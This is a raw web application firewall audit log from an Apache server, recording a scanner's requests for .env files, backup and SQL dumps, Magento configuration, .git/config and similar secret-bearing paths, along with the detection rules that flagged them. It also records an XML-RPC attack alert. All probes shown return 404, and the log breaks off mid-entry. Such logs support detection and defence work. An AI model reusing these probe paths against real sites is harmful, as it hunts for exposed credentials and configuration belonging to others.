127.0.0.1 7081 --43326e7f-B-- GET /:8080/.env.copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --43326e7f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c169b4d263eb67f4fe3f7cf98c62aeb01750030292; expires=Mon, 16 Jun 2025 00:31:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --43326e7f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.copy"] [unique_id "aE9X07V9qKUox3X8g1Yp_wAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030291864206 652166 (- - -) Stopwatch2: 1750030291864206 652166; combined=1686, p1=420, p2=1155, p3=0, p4=0, p5=111, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --43326e7f-Z-- --3080b905-A-- [16/Jun/2025:05:01:35.121210 +0530] aE9X1n87s8ehggCfEuaypgAAAAQ 185.177.72.210 53946 127.0.0.1 7081 --3080b905-B-- GET /index.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3080b905-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b37ec231de7cb789693f2c645834f1f51750030294; expires=Mon, 16 Jun 2025 00:31:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3080b905-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/index.bak"] [unique_id "aE9X1n87s8ehggCfEuaypgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030294464170 657129 (- - -) Stopwatch2: 1750030294464170 657129; combined=1707, p1=367, p2=1234, p3=0, p4=0, p5=106, sr=127, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3080b905-Z-- --21a1492b-A-- [16/Jun/2025:05:01:46.368906 +0530] aE9X4X87s8ehggCfEuayqwAAAAQ 185.177.72.210 46458 127.0.0.1 7081 --21a1492b-B-- GET /testwork_json/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --21a1492b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9e5e71fa2da86027c49ab5f0b7fee47c1750030306; expires=Mon, 16 Jun 2025 00:31:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --21a1492b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/testwork_json/.env"] [unique_id "aE9X4X87s8ehggCfEuayqwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030305639878 729092 (- - -) Stopwatch2: 1750030305639878 729092; combined=1969, p1=421, p2=1440, p3=0, p4=0, p5=107, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --21a1492b-Z-- --0fbaad2f-A-- [16/Jun/2025:05:01:49.005195 +0530] aE9X5LV9qKUox3X8g1YqBQAAAAg 185.177.72.210 46542 127.0.0.1 7081 --0fbaad2f-B-- GET /iisadmpwd/aexp4.htr HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0fbaad2f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b5453eb072a10d79a044fb6fcf07acfc1750030308; expires=Mon, 16 Jun 2025 00:31:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0fbaad2f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/iisadmpwd/aexp4.htr"] [unique_id "aE9X5LV9qKUox3X8g1YqBQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030308357689 647617 (- - -) Stopwatch2: 1750030308357689 647617; combined=1722, p1=342, p2=1265, p3=0, p4=0, p5=115, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0fbaad2f-Z-- --c6187064-A-- [16/Jun/2025:05:01:56.941222 +0530] aE9X7LBfUm2FdhH5voEV4AAAAAU 185.177.72.210 40606 127.0.0.1 7081 --c6187064-B-- GET /:8008/front-empathy/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c6187064-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=90fea74398a09a7a6ddf78b2a2e9001a1750030316; expires=Mon, 16 Jun 2025 00:31:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c6187064-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/front-empathy/.env"] [unique_id "aE9X7LBfUm2FdhH5voEV4AAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030316263728 677572 (- - -) Stopwatch2: 1750030316263728 677572; combined=1762, p1=372, p2=1266, p3=0, p4=0, p5=123, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6187064-Z-- --982a4427-A-- [16/Jun/2025:05:02:00.714201 +0530] aE9X8GM0Xdzjsxbr1PzuOgAAAAY 185.177.72.210 58276 127.0.0.1 7081 --982a4427-B-- GET /project/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --982a4427-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=43f50232e1c5e0280dbdde31f9cce9621750030320; expires=Mon, 16 Jun 2025 00:32:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --982a4427-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/project/.env"] [unique_id "aE9X8GM0Xdzjsxbr1PzuOgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030320064889 649390 (- - -) Stopwatch2: 1750030320064889 649390; combined=1853, p1=407, p2=1351, p3=0, p4=0, p5=95, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --982a4427-Z-- --ce41a27c-A-- [16/Jun/2025:05:02:05.705546 +0530] aE9X9bBfUm2FdhH5voEV5AAAAAU 185.177.72.210 58486 127.0.0.1 7081 --ce41a27c-B-- GET /affiliates.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce41a27c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8d7b6e60f962153414162c126841912a1750030325; expires=Mon, 16 Jun 2025 00:32:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce41a27c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/affiliates.sql"] [unique_id "aE9X9bBfUm2FdhH5voEV5AAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030325040806 664803 (- - -) Stopwatch2: 1750030325040806 664803; combined=1923, p1=341, p2=1492, p3=0, p4=0, p5=89, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce41a27c-Z-- --d2b8f630-A-- [16/Jun/2025:05:02:07.748858 +0530] aE9X96pdvXW4_hknQUUt8gAAAAo 185.177.72.210 58574 127.0.0.1 7081 --d2b8f630-B-- GET /:5601/vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d2b8f630-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8324a8629c3de200e36a658490994e641750030327; expires=Mon, 16 Jun 2025 00:32:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d2b8f630-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/vendor/.env"] [unique_id "aE9X96pdvXW4_hknQUUt8gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030327025417 723532 (- - -) Stopwatch2: 1750030327025417 723532; combined=1950, p1=375, p2=1466, p3=0, p4=0, p5=109, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d2b8f630-Z-- --a211b97a-A-- [16/Jun/2025:05:02:10.937748 +0530] aE9X-salTF-TysO2fMOFRgAAAAE 128.199.112.101 41650 127.0.0.1 7081 --a211b97a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a211b97a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a211b97a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9X-salTF-TysO2fMOFRgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030330005012 932792 (- - -) Stopwatch2: 1750030330005012 932792; combined=2125, p1=351, p2=1376, p3=41, p4=70, p5=180, sr=96, sw=107, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a211b97a-Z-- --1ab89e7b-A-- [16/Jun/2025:05:02:13.656467 +0530] aE9X_LBfUm2FdhH5voEV6AAAAAU 185.177.72.210 41746 127.0.0.1 7081 --1ab89e7b-B-- GET /app/etc/local.xml.vmachine HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1ab89e7b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=42dce0a323ae82b910212387718ded9c1750030333; expires=Mon, 16 Jun 2025 00:32:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1ab89e7b-H-- Message: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/etc/local.xml.vmachine"] [unique_id "aE9X_LBfUm2FdhH5voEV6AAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030332993432 663135 (- - -) Stopwatch2: 1750030332993432 663135; combined=2520, p1=474, p2=1922, p3=0, p4=0, p5=124, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1ab89e7b-Z-- --25baf915-A-- [16/Jun/2025:05:02:23.693621 +0530] aE9YB5bumDYPKpRD2ektEAAAAAA 185.177.72.210 39852 127.0.0.1 7081 --25baf915-B-- GET /:5601/umgebung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --25baf915-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cd8a5d045240f0d51fb253ee0e804e8b1750030343; expires=Mon, 16 Jun 2025 00:32:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --25baf915-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/umgebung/.env"] [unique_id "aE9YB5bumDYPKpRD2ektEAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030343037938 655765 (- - -) Stopwatch2: 1750030343037938 655765; combined=1640, p1=344, p2=1205, p3=0, p4=0, p5=90, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --25baf915-Z-- --11bbaa7d-A-- [16/Jun/2025:05:02:24.741834 +0530] aE9YCFxTdrwJSUMoZvG38QAAAAc 185.177.72.210 39890 127.0.0.1 7081 --11bbaa7d-B-- GET /konfig.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --11bbaa7d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ba72eb1eaf244b5dfb695baf9b11de841750030344; expires=Mon, 16 Jun 2025 00:32:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --11bbaa7d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/konfig.bak"] [unique_id "aE9YCFxTdrwJSUMoZvG38QAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030344081512 660396 (- - -) Stopwatch2: 1750030344081512 660396; combined=1720, p1=318, p2=1300, p3=0, p4=0, p5=101, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --11bbaa7d-Z-- --7ae4c90d-A-- [16/Jun/2025:05:02:25.743327 +0530] aE9YCbBfUm2FdhH5voEV7QAAAAU 185.177.72.210 39924 127.0.0.1 7081 --7ae4c90d-B-- GET /:9000/library/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7ae4c90d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7800cdd768d3095fc143e2ab544bbc4d1750030345; expires=Mon, 16 Jun 2025 00:32:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7ae4c90d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/library/.env"] [unique_id "aE9YCbBfUm2FdhH5voEV7QAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030345064322 679068 (- - -) Stopwatch2: 1750030345064322 679068; combined=1687, p1=382, p2=1210, p3=0, p4=0, p5=95, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7ae4c90d-Z-- --3ea4ad0f-A-- [16/Jun/2025:05:02:30.610257 +0530] aE9YDZbumDYPKpRD2ektFgAAAAA 185.177.72.210 59820 127.0.0.1 7081 --3ea4ad0f-B-- GET /tmp/.git/config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3ea4ad0f-F-- HTTP/1.1 404 Not Found X-Powered-By: 